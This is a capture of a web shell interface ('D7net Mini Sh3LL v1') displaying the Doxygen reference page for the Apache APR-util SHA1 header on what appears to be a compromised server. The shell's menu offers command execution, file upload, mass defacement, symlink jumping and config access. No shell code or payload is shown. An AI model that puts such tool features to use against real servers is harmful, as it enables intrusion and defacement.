D7net Mini Sh3LL v1

 
OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /var/../usr/share/dpkg/../doc/ncurses-term/../libaprutil1-dev/html/

 Home   ☍ Command   ☍ Upload File   ☍Info Server   ☍ Buat File   ☍ Mass deface   ☍ Jumping   ☍ Config   ☍ Symlink   ☍ About 

Current File : /var/../usr/share/dpkg/../doc/ncurses-term/../libaprutil1-dev/html/apr__sha1_8h.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "https://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=9"/>
<meta name="generator" content="Doxygen 1.8.17"/>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title>Apache Portable Runtime Utility Library: apr_sha1.h File Reference</title>
<link href="tabs.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript" src="dynsections.js"></script>
<link href="search/search.css" rel="stylesheet" type="text/css"/>
<script type="text/javascript" src="search/searchdata.js"></script>
<script type="text/javascript" src="search/search.js"></script>
<link href="doxygen.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="top"><!-- do not remove this div, it is closed by doxygen! -->
<div id="titlearea">
<table cellspacing="0" cellpadding="0">
 <tbody>
 <tr style="height: 56px;">
  <td id="projectalign" style="padding-left: 0.5em;">
   <div id="projectname">Apache Portable Runtime Utility Library
   </div>
  </td>
 </tr>
 </tbody>
</table>
</div>
<!-- end header part -->
<!-- Generated by Doxygen 1.8.17 -->
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */
var searchBox = new SearchBox("searchBox", "search",false,'Search');
/* @license-end */
</script>
<script type="text/javascript" src="menudata.js"></script>
<script type="text/javascript" src="menu.js"></script>
<script type="text/javascript">
/* @license magnet:?xt=urn:btih:cf05388f2679ee054f2beb29a391d25f4e673ac3&amp;dn=gpl-2.0.txt GPL-v2 */
$(function() {
  initMenu('',true,false,'search.php','Search');
  $(document).ready(function() { init_search(); });
});
/* @license-end */</script>
<div id="main-nav"></div>
<!-- window showing the filter options -->
<div id="MSearchSelectWindow"
     onmouseover="return searchBox.OnSearchSelectShow()"
     onmouseout="return searchBox.OnSearchSelectHide()"
     onkeydown="return searchBox.OnSearchSelectKey(event)">
</div>

<!-- iframe showing the search results (closed by default) -->
<div id="MSearchResultsWindow">
<iframe src="javascript:void(0)" frameborder="0" 
        name="MSearchResults" id="MSearchResults">
</iframe>
</div>

<div id="nav-path" class="navpath">
  <ul>
<li class="navelem"><a class="el" href="dir_d44c64559bbebec7f509842c48db8b23.html">include</a></li>  </ul>
</div>
</div><!-- top -->
<div class="header">
  <div class="summary">
<a href="#nested-classes">Data Structures</a> &#124;
<a href="#define-members">Macros</a> &#124;
<a href="#typedef-members">Typedefs</a> &#124;
<a href="#func-members">Functions</a>  </div>
  <div class="headertitle">
<div class="title">apr_sha1.h File Reference</div>  </div>
</div><!--header-->
<div class="contents">

<p>APR-UTIL SHA1 library.  
<a href="#details">More...</a></p>
<div class="textblock"><code>#include &quot;apu.h&quot;</code><br />
<code>#include &quot;apr_general.h&quot;</code><br />
</div><div class="textblock"><div class="dynheader">
Include dependency graph for apr_sha1.h:</div>
<div class="dyncontent">
<div class="center"><img src="apr__sha1_8h__incl.png" border="0" usemap="#apr__sha1_8h" alt=""/></div>
<!-- MAP 0 -->
</div>
</div>
<p><a href="apr__sha1_8h_source.html">Go to the source code of this file.</a></p>
<table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a>
Data Structures</h2></td></tr>
<tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a></td></tr>
<tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="define-members"></a>
Macros</h2></td></tr>
<tr class="memitem:af4ce94a96702e0d9fe96e1d861168af9"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#af4ce94a96702e0d9fe96e1d861168af9">APR_SHA1_DIGESTSIZE</a>&#160;&#160;&#160;20</td></tr>
<tr class="separator:af4ce94a96702e0d9fe96e1d861168af9"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:afec390451cd4f502babb1f982a78690b"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#afec390451cd4f502babb1f982a78690b">APR_SHA1PW_ID</a>&#160;&#160;&#160;&quot;{SHA}&quot;</td></tr>
<tr class="separator:afec390451cd4f502babb1f982a78690b"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a6e6ab60388eea5f855f1613425f8e34c"><td class="memItemLeft" align="right" valign="top">#define&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#a6e6ab60388eea5f855f1613425f8e34c">APR_SHA1PW_IDLEN</a>&#160;&#160;&#160;5</td></tr>
<tr class="separator:a6e6ab60388eea5f855f1613425f8e34c"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="typedef-members"></a>
Typedefs</h2></td></tr>
<tr class="memitem:a1acfd1f91495d6d22a188308b0b2d2b5"><td class="memItemLeft" align="right" valign="top">typedef struct <a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#a1acfd1f91495d6d22a188308b0b2d2b5">apr_sha1_ctx_t</a></td></tr>
<tr class="separator:a1acfd1f91495d6d22a188308b0b2d2b5"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table><table class="memberdecls">
<tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="func-members"></a>
Functions</h2></td></tr>
<tr class="memitem:a38a5ac487992a24e941b7501273829e8"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#a38a5ac487992a24e941b7501273829e8">apr_sha1_base64</a> (const char *clear, int len, char *out)</td></tr>
<tr class="separator:a38a5ac487992a24e941b7501273829e8"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a79220a1d610128cca63a6c363ea27d01"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#a79220a1d610128cca63a6c363ea27d01">apr_sha1_init</a> (<a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *context)</td></tr>
<tr class="separator:a79220a1d610128cca63a6c363ea27d01"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:ad85fb14e7e8d1c26e6591eb681b047b0"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#ad85fb14e7e8d1c26e6591eb681b047b0">apr_sha1_update</a> (<a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *context, const char *input, unsigned int inputLen)</td></tr>
<tr class="separator:ad85fb14e7e8d1c26e6591eb681b047b0"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a3db65581e6cd2f029735c8689485b11a"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#a3db65581e6cd2f029735c8689485b11a">apr_sha1_update_binary</a> (<a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *context, const unsigned char *input, unsigned int inputLen)</td></tr>
<tr class="separator:a3db65581e6cd2f029735c8689485b11a"><td class="memSeparator" colspan="2">&#160;</td></tr>
<tr class="memitem:a037d3697f6604bdaa2f46c0f381a2bba"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="apr__sha1_8h.html#a037d3697f6604bdaa2f46c0f381a2bba">apr_sha1_final</a> (unsigned char digest[<a class="el" href="apr__sha1_8h.html#af4ce94a96702e0d9fe96e1d861168af9">APR_SHA1_DIGESTSIZE</a>], <a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *context)</td></tr>
<tr class="separator:a037d3697f6604bdaa2f46c0f381a2bba"><td class="memSeparator" colspan="2">&#160;</td></tr>
</table>
<a name="details" id="details"></a><h2 class="groupheader">Detailed Description</h2>
<div class="textblock"><p>APR-UTIL SHA1 library. </p>
</div><h2 class="groupheader">Macro Definition Documentation</h2>
<a id="af4ce94a96702e0d9fe96e1d861168af9"></a>
<h2 class="memtitle"><span class="permalink"><a href="#af4ce94a96702e0d9fe96e1d861168af9">&#9670;&nbsp;</a></span>APR_SHA1_DIGESTSIZE</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">#define APR_SHA1_DIGESTSIZE&#160;&#160;&#160;20</td>
        </tr>
      </table>
</div><div class="memdoc">
<p>size of the SHA1 DIGEST </p>

</div>
</div>
<a id="afec390451cd4f502babb1f982a78690b"></a>
<h2 class="memtitle"><span class="permalink"><a href="#afec390451cd4f502babb1f982a78690b">&#9670;&nbsp;</a></span>APR_SHA1PW_ID</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">#define APR_SHA1PW_ID&#160;&#160;&#160;&quot;{SHA}&quot;</td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Define the Magic String prefix that identifies a password as being hashed using our algorithm. </p>

</div>
</div>
<a id="a6e6ab60388eea5f855f1613425f8e34c"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a6e6ab60388eea5f855f1613425f8e34c">&#9670;&nbsp;</a></span>APR_SHA1PW_IDLEN</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">#define APR_SHA1PW_IDLEN&#160;&#160;&#160;5</td>
        </tr>
      </table>
</div><div class="memdoc">
<p>length of the SHA Password </p>

</div>
</div>
<h2 class="groupheader">Typedef Documentation</h2>
<a id="a1acfd1f91495d6d22a188308b0b2d2b5"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a1acfd1f91495d6d22a188308b0b2d2b5">&#9670;&nbsp;</a></span>apr_sha1_ctx_t</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">typedef struct <a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> <a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a></td>
        </tr>
      </table>
</div><div class="memdoc">
<dl class="section see"><dt>See also</dt><dd><a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> </dd></dl>

</div>
</div>
<h2 class="groupheader">Function Documentation</h2>
<a id="a38a5ac487992a24e941b7501273829e8"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a38a5ac487992a24e941b7501273829e8">&#9670;&nbsp;</a></span>apr_sha1_base64()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_sha1_base64 </td>
          <td>(</td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>clear</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">int&#160;</td>
          <td class="paramname"><em>len</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">char *&#160;</td>
          <td class="paramname"><em>out</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Provide a means to SHA1 crypt/encode a plaintext password in a way which makes password file compatible with those commonly use in netscape web and ldap installations. </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">clear</td><td>The plaintext password </td></tr>
    <tr><td class="paramname">len</td><td>The length of the plaintext password </td></tr>
    <tr><td class="paramname">out</td><td>The encrypted/encoded password </td></tr>
  </table>
  </dd>
</dl>
<dl class="section note"><dt>Note</dt><dd>SHA1 support is useful for migration purposes, but is less secure than <a class="el" href="namespace_apache.html">Apache</a>'s password format, since <a class="el" href="namespace_apache.html">Apache</a>'s (MD5) password format uses a random eight character salt to generate one of many possible hashes for the same password. Netscape uses plain SHA1 without a salt, so the same password will always generate the same hash, making it easier to break since the search space is smaller. </dd></dl>

</div>
</div>
<a id="a037d3697f6604bdaa2f46c0f381a2bba"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a037d3697f6604bdaa2f46c0f381a2bba">&#9670;&nbsp;</a></span>apr_sha1_final()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_sha1_final </td>
          <td>(</td>
          <td class="paramtype">unsigned char&#160;</td>
          <td class="paramname"><em>digest</em>[APR_SHA1_DIGESTSIZE], </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype"><a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Finish computing the SHA digest </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">digest</td><td>the output buffer in which to store the digest </td></tr>
    <tr><td class="paramname">context</td><td>The context to finalize </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="a79220a1d610128cca63a6c363ea27d01"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a79220a1d610128cca63a6c363ea27d01">&#9670;&nbsp;</a></span>apr_sha1_init()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_sha1_init </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em></td><td>)</td>
          <td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Initialize the SHA digest </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">context</td><td>The SHA context to initialize </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="ad85fb14e7e8d1c26e6591eb681b047b0"></a>
<h2 class="memtitle"><span class="permalink"><a href="#ad85fb14e7e8d1c26e6591eb681b047b0">&#9670;&nbsp;</a></span>apr_sha1_update()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_sha1_update </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const char *&#160;</td>
          <td class="paramname"><em>input</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">unsigned int&#160;</td>
          <td class="paramname"><em>inputLen</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Update the SHA digest </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">context</td><td>The SHA1 context to update </td></tr>
    <tr><td class="paramname">input</td><td>The buffer to add to the SHA digest </td></tr>
    <tr><td class="paramname">inputLen</td><td>The length of the input buffer </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
<a id="a3db65581e6cd2f029735c8689485b11a"></a>
<h2 class="memtitle"><span class="permalink"><a href="#a3db65581e6cd2f029735c8689485b11a">&#9670;&nbsp;</a></span>apr_sha1_update_binary()</h2>

<div class="memitem">
<div class="memproto">
      <table class="memname">
        <tr>
          <td class="memname">void apr_sha1_update_binary </td>
          <td>(</td>
          <td class="paramtype"><a class="el" href="structapr__sha1__ctx__t.html">apr_sha1_ctx_t</a> *&#160;</td>
          <td class="paramname"><em>context</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">const unsigned char *&#160;</td>
          <td class="paramname"><em>input</em>, </td>
        </tr>
        <tr>
          <td class="paramkey"></td>
          <td></td>
          <td class="paramtype">unsigned int&#160;</td>
          <td class="paramname"><em>inputLen</em>&#160;</td>
        </tr>
        <tr>
          <td></td>
          <td>)</td>
          <td></td><td></td>
        </tr>
      </table>
</div><div class="memdoc">
<p>Update the SHA digest with binary data </p><dl class="params"><dt>Parameters</dt><dd>
  <table class="params">
    <tr><td class="paramname">context</td><td>The SHA1 context to update </td></tr>
    <tr><td class="paramname">input</td><td>The buffer to add to the SHA digest </td></tr>
    <tr><td class="paramname">inputLen</td><td>The length of the input buffer </td></tr>
  </table>
  </dd>
</dl>

</div>
</div>
</div><!-- contents -->
<!-- start footer part -->
<hr class="footer"/><address class="footer"><small>
Generated by &#160;<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/>
</a> 1.8.17
</small></address>
</body>
</html>

AnonSec - 2021 | Recode By D7net